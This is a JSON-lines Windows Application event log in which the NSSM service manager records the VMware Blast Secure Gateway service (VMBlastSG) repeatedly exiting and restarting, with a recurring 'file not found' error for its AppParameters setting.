{"@timestamp":1646638119230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154510}}
{"@timestamp":1646638247708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154511}}
{"@timestamp":1646638247710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154512}}
{"@timestamp":1646638247711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151840","0"]}}},"module":"Application","provider":"nssm","sequence":154513}}
{"@timestamp":1646638247712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151840","151840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154514}}
{"@timestamp":1646638247727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154515}}
{"@timestamp":1646638247727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154516}}
{"@timestamp":1646638247728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154517}}
{"@timestamp":1646638247729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154518}}
{"@timestamp":1646638376496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154519}}
{"@timestamp":1646638376497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154520}}
{"@timestamp":1646638376498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152444","0"]}}},"module":"Application","provider":"nssm","sequence":154521}}
{"@timestamp":1646638376498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152444","152444","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154522}}
{"@timestamp":1646638376514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154523}}
{"@timestamp":1646638376514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154524}}
{"@timestamp":1646638376515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154525}}
{"@timestamp":1646638376515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154526}}
{"@timestamp":1646638504997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154527}}
{"@timestamp":1646638504997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154528}}
{"@timestamp":1646638504998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146208","0"]}}},"module":"Application","provider":"nssm","sequence":154529}}
{"@timestamp":1646638504999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146208","146208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154530}}
{"@timestamp":1646638505015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154531}}
{"@timestamp":1646638505016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154532}}
{"@timestamp":1646638505016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154533}}
{"@timestamp":1646638505017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154534}}
{"@timestamp":1646638633507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154535}}
{"@timestamp":1646638633508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154536}}
{"@timestamp":1646638633508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151572","0"]}}},"module":"Application","provider":"nssm","sequence":154537}}
{"@timestamp":1646638633509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151572","151572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154538}}
{"@timestamp":1646638633524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154539}}
{"@timestamp":1646638633525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154540}}
{"@timestamp":1646638633525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154541}}
{"@timestamp":1646638633526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154542}}
{"@timestamp":1646638762011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154543}}
{"@timestamp":1646638762011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154544}}
{"@timestamp":1646638762012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152340","0"]}}},"module":"Application","provider":"nssm","sequence":154545}}
{"@timestamp":1646638762012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152340","152340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154546}}
{"@timestamp":1646638762027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154547}}
{"@timestamp":1646638762027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154548}}
{"@timestamp":1646638762028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154549}}
{"@timestamp":1646638762029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154550}}
{"@timestamp":1646638890530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154551}}
{"@timestamp":1646638890530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154552}}
{"@timestamp":1646638890531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151628","0"]}}},"module":"Application","provider":"nssm","sequence":154553}}
{"@timestamp":1646638890531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151628","151628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154554}}
{"@timestamp":1646638890546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154555}}
{"@timestamp":1646638890546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154556}}
{"@timestamp":1646638890547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154557}}
{"@timestamp":1646638890548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154558}}
{"@timestamp":1646639019049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154559}}
{"@timestamp":1646639019050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154560}}
{"@timestamp":1646639019050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151852","0"]}}},"module":"Application","provider":"nssm","sequence":154561}}
{"@timestamp":1646639019051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151852","151852","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154562}}
{"@timestamp":1646639019067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154563}}
{"@timestamp":1646639019067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154564}}
{"@timestamp":1646639019068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154565}}
{"@timestamp":1646639019069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154566}}
{"@timestamp":1646639147551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154567}}
{"@timestamp":1646639147552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154568}}
{"@timestamp":1646639147552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152156","0"]}}},"module":"Application","provider":"nssm","sequence":154569}}
{"@timestamp":1646639147553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152156","152156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154570}}
{"@timestamp":1646639147568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154571}}
{"@timestamp":1646639147569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154572}}
{"@timestamp":1646639147569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154573}}
{"@timestamp":1646639147570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154574}}
{"@timestamp":1646639276054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154575}}
{"@timestamp":1646639276055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154576}}
{"@timestamp":1646639276055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151604","0"]}}},"module":"Application","provider":"nssm","sequence":154577}}
{"@timestamp":1646639276056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151604","151604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154578}}
{"@timestamp":1646639276071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154579}}
{"@timestamp":1646639276072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154580}}
{"@timestamp":1646639276072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154581}}
{"@timestamp":1646639276073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154582}}
{"@timestamp":1646639404849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154583}}
{"@timestamp":1646639404850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154584}}
{"@timestamp":1646639404851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152544","0"]}}},"module":"Application","provider":"nssm","sequence":154585}}
{"@timestamp":1646639404852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152544","152544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154586}}
{"@timestamp":1646639404867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151560","0"]}}},"module":"Application","provider":"nssm","sequence":154587}}
{"@timestamp":1646639404868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151560","152544","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154588}}
{"@timestamp":1646639404882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154589}}
{"@timestamp":1646639404883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154590}}
{"@timestamp":1646639404884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154591}}
{"@timestamp":1646639404885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154592}}
{"@timestamp":1646639533386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154593}}
{"@timestamp":1646639533388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154594}}
{"@timestamp":1646639533389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151856","0"]}}},"module":"Application","provider":"nssm","sequence":154595}}
{"@timestamp":1646639533389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151856","151856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154596}}
{"@timestamp":1646639533411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154597}}
{"@timestamp":1646639533412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154598}}
{"@timestamp":1646639533412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154599}}
{"@timestamp":1646639533413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154600}}
{"@timestamp":1646639661944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154601}}
{"@timestamp":1646639661946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154602}}
{"@timestamp":1646639661948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151144","0"]}}},"module":"Application","provider":"nssm","sequence":154603}}
{"@timestamp":1646639661949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151144","151144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154604}}
{"@timestamp":1646639661968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154605}}
{"@timestamp":1646639661968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154606}}
{"@timestamp":1646639661969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154607}}
{"@timestamp":1646639661971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154608}}
{"@timestamp":1646639791698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154609}}
{"@timestamp":1646639791698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154610}}
{"@timestamp":1646639791699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151832","0"]}}},"module":"Application","provider":"nssm","sequence":154611}}
{"@timestamp":1646639791699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151832","151832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154612}}
{"@timestamp":1646639791714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154613}}
{"@timestamp":1646639791715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154614}}
